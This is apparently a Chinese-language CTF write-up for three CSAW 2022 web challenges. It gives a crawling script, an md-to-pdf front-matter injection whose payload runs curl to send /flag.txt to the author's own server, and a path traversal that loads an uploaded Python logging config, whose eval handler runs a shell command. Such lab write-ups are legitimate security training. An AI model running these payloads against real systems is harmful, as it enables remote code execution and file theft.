csawctf-2022
csawcft 22022 wp
Word Wide Web
脚本题,写脚本就好了,要注意的是,点击链接后会把点击的链接拼接上cookie。
如果写脚本的时候没有拼接cookie就拿不到flag
脚本
import requests
from lxml import etree
url = "http://web.chal.csaw.io:5010/stuff"
# print(len(url))
sess = requests.session()
while True:
res = sess.get(url=url)
root = etree.HTML(res.text)
try:
items = root.xpath('/html/body/p//a[@href]/text()')
# print(items)
if len(items) > 0:
url = url[:29]+items[0]
print(url)
else:
print(res.text)
exit("CNM")
except:
print(res.text)
My little website
是一个把md格式转成pdf的node的网站,搜了一下
https://github.com/simonhaenisch/md-to-pdf/issues/99
能执行我们输入的js代码
paylaod
---js
{
css: `body::before { content: "${require('child_process').execSync('curl http://your vps/?a=`cat /flag.txt`').join()}"; display: block }`,
}
---
Good Intentions
给了附件
主要看这一段代码
@api.route('/log_config', methods=['POST'])
@login_required
def log_config():
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
file_name = data.get('filename', '')
logging.config.fileConfig(f"{current_app.config['UPLOAD_FOLDER']}/conf/{file_name}")
return response(data)
我们可以看到这里使用了logging.config.fileConfig函数,看下文档这个函数是干什么的

用于修改配置的,并且我们能够发现他没有对读取配置文件的url进行过滤
所以这里我们能进行目录穿越。
@api.route('/gallery', methods=['GET'])
@login_required
def gallery():
current_app.logger.debug("Entering gallery")
query = Image.query.filter_by(username=current_user.username).all()
locations = []
for image in query:
locations.append(image.location)
return response(locations)
@api.route('/download_image', methods=['GET'])
@login_required
def download_image():
current_app.logger.debug("Entering download image")
if 'file' not in request.args:
return response('Missing required parameters!'), 401
query = Image.query.filter_by(location=request.args["file"]).first()
if query.location:
return send_file(f"{current_app.config['UPLOAD_FOLDER']}/images/{query.location}")
else:
return response("File not found!")
@api.route('/upload', methods=['POST'])
@login_required
def upload_image():
if 'file' not in request.files or 'label' not in request.form:
return response('Missing required parameters!'), 401
file = request.files['file']
label=request.form["label"]
if file.filename == '':
return response('Missing required parameters!'), 401
rand_dir = generate(15)
upload_dir = f"{current_app.config['UPLOAD_FOLDER']}/images/{rand_dir}/"
os.makedirs(upload_dir, exist_ok=True)
filename = secure_filename(str(label + "_" + generate(10)))
file.save(upload_dir + filename)
new_file = Image(username=current_user.username, location=f"{rand_dir}/{filename}")
db.session.add(new_file)
db.session.commit()
return response("File successfully uploaded")
这3个路由可以上传文件,查看文件,查看上传文件的路由(因为上传文件后会对文件重命名)
那我们就有了大体的思路,用上传文件传我们自定义的logging配置文件,用log_config路由目录穿越去加载我们传的配置文件
那么现在问题是配置文件要写什么?在比赛时我想到是用配置文件带出admin的password用admin登入因为
@api.route('/run_command', methods=['POST'])
@login_required
@admin_only
def remote_exec():
if not request.is_json:
return response('Missing required parameters!')
data = request.get_json()
command = data.get('command','')
result = run(command, stdout=PIPE, stderr=PIPE, shell=True)
return response(result.stdout.decode())
在这个路由直接就能rce
然后就一直找[formatter]能不能自定义参数,直到比赛结束都没有找到。看了其他wp发现这个配置文件能够rce
https://raj3shp.medium.com/python-security-logging-config-code-execution-e45660bc230e
我们可以用python的魔术方法进行rce,payload类似flask_ssti

可以看到执行了命令但是这题没有回写,我们需要把flag写到我们传入的文件里去然后用download_img读取上传的文件获得flag
payload
[loggers]
keys=root,routes
[handlers]
keys=consoleHandler
[formatters]
keys=simpleFormatter
[logger_root]
level=DEBUG
handlers=consoleHandler
[logger_routes]
level=DEBUG
handlers=consoleHandler
qualname=routes
propagate=0
[handler_consoleHandler]
class=builtins.eval
level=DEBUG
formatter=simpleFormatter
args=('__import__("os").system("cp /flag.txt /app/application/static/images/6c22a9f0650da649d988e41b5fd09b/su_f4e2b7952fdea4dbafd0")',)
[formatter_simpleFormatter]
format=%(asctime)s - %(name)s - %(levelname)s - %(message)s -%(funcName)s -%(app_name)s
先随便上传一个文件

再查看文件目录

把配置文件里的文件换成上传文件的目录

再上传配置文件

看目录

去log_config目录穿越加载我们上传的配置文件

这里500是正常的
再读取我们第一次上传的文件

成功

浙公网安备 33010602011771号